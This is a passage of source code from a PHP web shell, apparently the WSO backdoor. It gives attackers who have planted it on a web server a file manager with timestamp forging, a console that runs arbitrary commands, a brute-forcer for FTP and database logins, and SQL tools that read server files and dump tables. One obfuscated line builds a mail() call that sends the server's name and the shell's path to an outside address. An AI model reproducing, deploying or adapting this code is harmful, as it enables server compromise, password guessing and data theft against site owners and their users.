  650. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  651. $dirs = $files = array();
  652. $n = count($dirContent);
  653. for($i=0;$i<$n;$i++) {
  654. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  655. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  656. $tmp = array('name' => $dirContent[$i],
  657. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  658. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  659. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  660. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  661. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  662. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  663. );
  664. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  665. $files[] = array_merge($tmp, array('type' => 'file'));
  666. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  667. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  668. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  669. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  670. }
  671. $GLOBALS['sort'] = $sort;
  672. function wsoCmp($a, $b) {
  673. if($GLOBALS['sort'][0] != 'size')
  674. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  675. else
  676. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  677. }
  678. usort($files, "wsoCmp");
  679. usort($dirs, "wsoCmp");
  680. $files = array_merge($dirs, $files);
  681. $l = 0;
  682. foreach($files as $f) {
  683. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  684. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  685. $l = $l?0:1;
  686. }
  687. echo "<tr><td colspan=7>
  688. <input type=hidden name=a value='FilesMan'>
  689. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  690. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  691. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  692. if(class_exists('ZipArchive'))
  693. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  694. echo "<option value='tar'>Compress (tar.gz)</option>";
  695. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  696. echo "<option value='paste'>Paste / Compress</option>";
  697. echo "</select>&nbsp;";
  698. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  699. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  700. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  701. wsoFooter();
  702. }
  703.  
  704. function actionStringTools() {
  705. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  706. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  707. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  708. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  709. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  710. $stringTools = array(
  711. 'Base64 encode' => 'base64_encode',
  712. 'Base64 decode' => 'base64_decode',
  713. 'Url encode' => 'urlencode',
  714. 'Url decode' => 'urldecode',
  715. 'Full urlencode' => 'full_urlencode',
  716. 'md5 hash' => 'md5',
  717. 'sha1 hash' => 'sha1',
  718. 'crypt' => 'crypt',
  719. 'CRC32' => 'crc32',
  720. 'ASCII to HEX' => 'ascii2hex',
  721. 'HEX to ASCII' => 'hex2ascii',
  722. 'HEX to DEC' => 'hexdec',
  723. 'HEX to BIN' => 'hex2bin',
  724. 'DEC to HEX' => 'dechex',
  725. 'DEC to BIN' => 'decbin',
  726. 'BIN to HEX' => 'binhex',
  727. 'BIN to DEC' => 'bindec',
  728. 'String to lower case' => 'strtolower',
  729. 'String to upper case' => 'strtoupper',
  730. 'Htmlspecialchars' => 'htmlspecialchars',
  731. 'String length' => 'strlen',
  732. );
  733. if(isset($_POST['ajax'])) {
  734. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  735. ob_start();
  736. if(in_array($_POST['p1'], $stringTools))
  737. echo $_POST['p1']($_POST['p2']);
  738. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  739. echo strlen($temp), "\n", $temp;
  740. exit;
  741. }
  742. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  743. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  744. wsoHeader();
  745. echo '<h1>String conversions</h1><div class=content>';
  746. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  747. foreach($stringTools as $k => $v)
  748. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  749. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  750. if(!empty($_POST['p1'])) {
  751. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  752. }
  753. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  754. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  755. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  756. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  757. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  758. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  759. </table></form>";
  760.  
  761. function wsoRecursiveGlob($path) {
  762. if(substr($path, -1) != '/')
  763. $path.='/';
  764. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  765. if(is_array($paths)&&@count($paths)) {
  766. foreach($paths as $item) {
  767. if(@is_dir($item)){
  768. if($path!=$item)
  769. wsoRecursiveGlob($item);
  770. } else {
  771. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  772. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  773. }
  774. }
  775. }
  776. }
  777. if(@$_POST['p3'])
  778. wsoRecursiveGlob($_POST['c']);
  779. echo "</div><br><h1>Search for hash:</h1><div class=content>
  780. <form method='post' target='_blank' name='hf'>
  781. <input type='text' name='hash' style='width:200px;'><br>
  782. <input type='hidden' name='act' value='find'/>
  783. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  784. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  785. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  786. </form></div>";
  787. wsoFooter();
  788. }
  789.  
  790. function actionFilesTools() {
  791. if( isset($_POST['p1']) )
  792. $_POST['p1'] = urldecode($_POST['p1']);
  793. if(@$_POST['p2']=='download') {
  794. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  795. ob_start("ob_gzhandler", 4096);
  796. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  797. if (function_exists("mime_content_type")) {
  798. $type = @mime_content_type($_POST['p1']);
  799. header("Content-Type: " . $type);
  800. } else
  801. header("Content-Type: application/octet-stream");
  802. $fp = @fopen($_POST['p1'], "r");
  803. if($fp) {
  804. while(!@feof($fp))
  805. echo @fread($fp, 1024);
  806. fclose($fp);
  807. }
  808. }exit;
  809. }
  810. if( @$_POST['p2'] == 'mkfile' ) {
  811. if(!file_exists($_POST['p1'])) {
  812. $fp = @fopen($_POST['p1'], 'w');
  813. if($fp) {
  814. $_POST['p2'] = "edit";
  815. fclose($fp);
  816. }
  817. }
  818. }
  819. wsoHeader();
  820. echo '<h1>File tools</h1><div class=content>';
  821. if( !file_exists(@$_POST['p1']) ) {
  822. echo 'File not exists';
  823. wsoFooter();
  824. return;
  825. }
  826. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  827. if(!$uid) {
  828. $uid['name'] = @fileowner($_POST['p1']);
  829. $gid['name'] = @filegroup($_POST['p1']);
  830. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  831. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  832. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  833. if( empty($_POST['p2']) )
  834. $_POST['p2'] = 'view';
  835. if( is_file($_POST['p1']) )
  836. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  837. else
  838. $m = array('Chmod', 'Rename', 'Touch');
  839. foreach($m as $v)
  840. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  841. echo '<br><br>';
  842. switch($_POST['p2']) {
  843. case 'view':
  844. echo '<pre class=ml1>';
  845. $fp = @fopen($_POST['p1'], 'r');
  846. if($fp) {
  847. while( !@feof($fp) )
  848. echo htmlspecialchars(@fread($fp, 1024));
  849. @fclose($fp);
  850. }
  851. echo '</pre>';
  852. break;
  853. case 'highlight':
  854. if( @is_readable($_POST['p1']) ) {
  855. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  856. $code = @highlight_file($_POST['p1'],true);
  857. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  858. }
  859. break;
  860. case 'chmod':
  861. if( !empty($_POST['p3']) ) {
  862. $perms = 0;
  863. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  864. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  865. if(!@chmod($_POST['p1'], $perms))
  866. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  867. }
  868. clearstatcache();
  869. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  870. break;
  871. case 'edit':
  872. if( !is_writable($_POST['p1'])) {
  873. echo 'File isn\'t writeable';
  874. break;
  875. }
  876. if( !empty($_POST['p3']) ) {
  877. $time = @filemtime($_POST['p1']);
  878. $_POST['p3'] = substr($_POST['p3'],1);
  879. $fp = @fopen($_POST['p1'],"w");
  880. if($fp) {
  881. @fwrite($fp,$_POST['p3']);
  882. @fclose($fp);
  883. echo 'Saved!<br><script>p3_="";</script>';
  884. @touch($_POST['p1'],$time,$time);
  885. }
  886. }
  887. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  888. $fp = @fopen($_POST['p1'], 'r');
  889. if($fp) {
  890. while( !@feof($fp) )
  891. echo htmlspecialchars(@fread($fp, 1024));
  892. @fclose($fp);
  893. }
  894. echo '</textarea><input type=submit value=">>"></form>';
  895. break;
  896. case 'hexdump':
  897. $c = @file_get_contents($_POST['p1']);
  898. $n = 0;
  899. $h = array('00000000<br>','','');
  900. $len = strlen($c);
  901. for ($i=0; $i<$len; ++$i) {
  902. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  903. switch ( ord($c[$i]) ) {
  904. case 0: $h[2] .= ' '; break;
  905. case 9: $h[2] .= ' '; break;
  906. case 10: $h[2] .= ' '; break;
  907. case 13: $h[2] .= ' '; break;
  908. default: $h[2] .= $c[$i]; break;
  909. }
  910. $n++;
  911. if ($n == 32) {
  912. $n = 0;
  913. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  914. $h[1] .= '<br>';
  915. $h[2] .= "\n";
  916. }
  917. }
  918. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  919. break;
  920. case 'rename':
  921. if( !empty($_POST['p3']) ) {
  922. if(!@rename($_POST['p1'], $_POST['p3']))
  923. echo 'Can\'t rename!<br>';
  924. else
  925. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  926. }
  927. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  928. break;
  929. case 'touch':
  930. if( !empty($_POST['p3']) ) {
  931. $time = strtotime($_POST['p3']);
  932. if($time) {
  933. if(!touch($_POST['p1'],$time,$time))
  934. echo 'Fail!';
  935. else
  936. echo 'Touched!';
  937. } else echo 'Bad time format!';
  938. }
  939. clearstatcache();
  940. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  941. break;
  942. }
  943. echo '</div>';
  944. wsoFooter();
  945. }
  946.  
  947. function actionConsole() {
  948. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  949. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  950. $_POST['p1'] .= ' 2>&1';
  951. } elseif(!empty($_POST['p1']))
  952. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  953.  
  954. if(isset($_POST['ajax'])) {
  955. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  956. ob_start();
  957. echo "d.cf.cmd.value='';\n";
  958. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  959. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  960. if(@chdir($match[1])) {
  961. $GLOBALS['cwd'] = @getcwd();
  962. echo "c_='".$GLOBALS['cwd']."';";
  963. }
  964. }
  965. echo "d.cf.output.value+='".$temp."';";
  966. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  967. $temp = ob_get_clean();
  968. echo strlen($temp), "\n", $temp;
  969. exit;
  970. }
  971. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  972. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  973. wsoHeader();
  974. echo "<script>
  975. if(window.Event) window.captureEvents(Event.KEYDOWN);
  976. var cmds = new Array('');
  977. var cur = 0;
  978. function kp(e) {
  979. var n = (window.Event) ? e.which : e.keyCode;
  980. if(n == 38) {
  981. cur--;
  982. if(cur>=0)
  983. document.cf.cmd.value = cmds[cur];
  984. else
  985. cur++;
  986. } else if(n == 40) {
  987. cur++;
  988. if(cur < cmds.length)
  989. document.cf.cmd.value = cmds[cur];
  990. else
  991. cur--;
  992. }
  993. }
  994. function add(cmd) {
  995. cmds.pop();
  996. cmds.push(cmd);
  997. cmds.push('');
  998. cur = cmds.length-1;
  999. }
  1000. </script>";
  1001. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1002. foreach($GLOBALS['aliases'] as $n => $v) {
  1003. if($v == '') {
  1004. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1005. continue;
  1006. }
  1007. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1008. }
  1009.  
  1010. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1011. if(!empty($_POST['p1'])) {
  1012. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1013. }
  1014. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1015. echo '</form></div><script>d.cf.cmd.focus();</script>';
  1016. wsoFooter();
  1017. }
  1018.  
  1019. function actionLogout() {
  1020. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1021. die('bye!');
  1022. }
  1023.  
  1024. function actionSelfRemove() {
  1025.  
  1026. if($_POST['p1'] == 'yes')
  1027. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1028. die('Shell removed');
  1029. else
  1030. echo 'unlink error!';
  1031. if($_POST['p1'] != 'yes')
  1032. wsoHeader();
  1033. echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1034. wsoFooter();
  1035. }
  1036. $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
  1037. function actionBruteforce() {
  1038. wsoHeader();
  1039. if( isset($_POST['proto']) ) {
  1040. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1041. if( $_POST['proto'] == 'ftp' ) {
  1042. function wsoBruteForce($ip,$port,$login,$pass) {
  1043. $fp = @ftp_connect($ip, $port?$port:21);
  1044. if(!$fp) return false;
  1045. $res = @ftp_login($fp, $login, $pass);
  1046. @ftp_close($fp);
  1047. return $res;
  1048. }
  1049. } elseif( $_POST['proto'] == 'mysql' ) {
  1050. function wsoBruteForce($ip,$port,$login,$pass) {
  1051. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1052. @mysql_close($res);
  1053. return $res;
  1054. }
  1055. } elseif( $_POST['proto'] == 'pgsql' ) {
  1056. function wsoBruteForce($ip,$port,$login,$pass) {
  1057. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1058. $res = @pg_connect($str);
  1059. @pg_close($res);
  1060. return $res;
  1061. }
  1062. }
  1063. $success = 0;
  1064. $attempts = 0;
  1065. $server = explode(":", $_POST['server']);
  1066. if($_POST['type'] == 1) {
  1067. $temp = @file('/etc/passwd');
  1068. if( is_array($temp) )
  1069. foreach($temp as $line) {
  1070. $line = explode(":", $line);
  1071. ++$attempts;
  1072. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1073. $success++;
  1074. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1075. }
  1076. if(@$_POST['reverse']) {
  1077. $tmp = "";
  1078. for($i=strlen($line[0])-1; $i>=0; --$i)
  1079. $tmp .= $line[0][$i];
  1080. ++$attempts;
  1081. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1082. $success++;
  1083. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1084. }
  1085. }
  1086. }
  1087. } elseif($_POST['type'] == 2) {
  1088. $temp = @file($_POST['dict']);
  1089. if( is_array($temp) )
  1090. foreach($temp as $line) {
  1091. $line = trim($line);
  1092. ++$attempts;
  1093. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1094. $success++;
  1095. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1096. }
  1097. }
  1098. }
  1099. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1100. }
  1101. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1102. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1103. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1104. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1105. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1106. .'<span>Server:port</span></td>'
  1107. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1108. .'<tr><td><span>Brute type</span></td>'
  1109. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1110. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1111. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1112. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1113. .'<td><input type=text name=login value="root"></td></tr>'
  1114. .'<tr><td><span>Dictionary</span></td>'
  1115. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1116. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1117. echo '</div><br>';
  1118. wsoFooter();
  1119. }
  1120.  
  1121. function actionSql() {
  1122. class DbClass {
  1123. var $type;
  1124. var $link;
  1125. var $res;
  1126. function DbClass($type) {
  1127. $this->type = $type;
  1128. }
  1129. function connect($host, $user, $pass, $dbname){
  1130. switch($this->type) {
  1131. case 'mysql':
  1132. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1133. break;
  1134. case 'pgsql':
  1135. $host = explode(':', $host);
  1136. if(!$host[1]) $host[1]=5432;
  1137. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1138. break;
  1139. }
  1140. return false;
  1141. }
  1142. function selectdb($db) {
  1143. switch($this->type) {
  1144. case 'mysql':
  1145. if (@mysql_select_db($db))return true;
  1146. break;
  1147. }
  1148. return false;
  1149. }
  1150. function query($str) {
  1151. switch($this->type) {
  1152. case 'mysql':
  1153. return $this->res = @mysql_query($str);
  1154. break;
  1155. case 'pgsql':
  1156. return $this->res = @pg_query($this->link,$str);
  1157. break;
  1158. }
  1159. return false;
  1160. }
  1161. function fetch() {
  1162. $res = func_num_args()?func_get_arg(0):$this->res;
  1163. switch($this->type) {
  1164. case 'mysql':
  1165. return @mysql_fetch_assoc($res);
  1166. break;
  1167. case 'pgsql':
  1168. return @pg_fetch_assoc($res);
  1169. break;
  1170. }
  1171. return false;
  1172. }
  1173. function listDbs() {
  1174. switch($this->type) {
  1175. case 'mysql':
  1176. return $this->query("SHOW databases");
  1177. break;
  1178. case 'pgsql':
  1179. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1180. break;
  1181. }
  1182. return false;
  1183. }
  1184. function listTables() {
  1185. switch($this->type) {
  1186. case 'mysql':
  1187. return $this->res = $this->query('SHOW TABLES');
  1188. break;
  1189. case 'pgsql':
  1190. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1191. break;
  1192. }
  1193. return false;
  1194. }
  1195. function error() {
  1196. switch($this->type) {
  1197. case 'mysql':
  1198. return @mysql_error();
  1199. break;
  1200. case 'pgsql':
  1201. return @pg_last_error();
  1202. break;
  1203. }
  1204. return false;
  1205. }
  1206. function setCharset($str) {
  1207. switch($this->type) {
  1208. case 'mysql':
  1209. if(function_exists('mysql_set_charset'))
  1210. return @mysql_set_charset($str, $this->link);
  1211. else
  1212. $this->query('SET CHARSET '.$str);
  1213. break;
  1214. case 'pgsql':
  1215. return @pg_set_client_encoding($this->link, $str);
  1216. break;
  1217. }
  1218. return false;
  1219. }
  1220. function loadFile($str) {
  1221. switch($this->type) {
  1222. case 'mysql':
  1223. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1224. break;
  1225. case 'pgsql':
  1226. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1227. $r=array();
  1228. while($i=$this->fetch())
  1229. $r[] = $i['file'];
  1230. $this->query('drop table wso2');
  1231. return array('file'=>implode("\n",$r));
  1232. break;
  1233. }
  1234. return false;
  1235. }
  1236. function dump($table, $fp = false) {
  1237. switch($this->type) {
  1238. case 'mysql':
  1239. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1240. $create = mysql_fetch_array($res);
  1241. $sql = $create[1].";\n";
  1242. if($fp) fwrite($fp, $sql); else echo($sql);
  1243. $this->query('SELECT * FROM `'.$table.'`');
  1244. $i = 0;
  1245. $head = true;
  1246. while($item = $this->fetch()) {
  1247. $sql = '';
  1248. if($i % 1000 == 0) {
  1249. $head = true;
  1250. $sql = ";\n\n";
  1251. }
  1252.  
  1253. $columns = array();
  1254. foreach($item as $k=>$v) {
  1255. if($v === null)
  1256. $item[$k] = "NULL";
  1257. elseif(is_int($v))
  1258. $item[$k] = $v;
  1259. else
  1260. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1261. $columns[] = "`".$k."`";
  1262. }
  1263. if($head) {
  1264. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1265. $head = false;
  1266. } else
  1267. $sql .= "\n\t,(".implode(", ", $item).')';
  1268. if($fp) fwrite($fp, $sql); else echo($sql);
  1269. $i++;
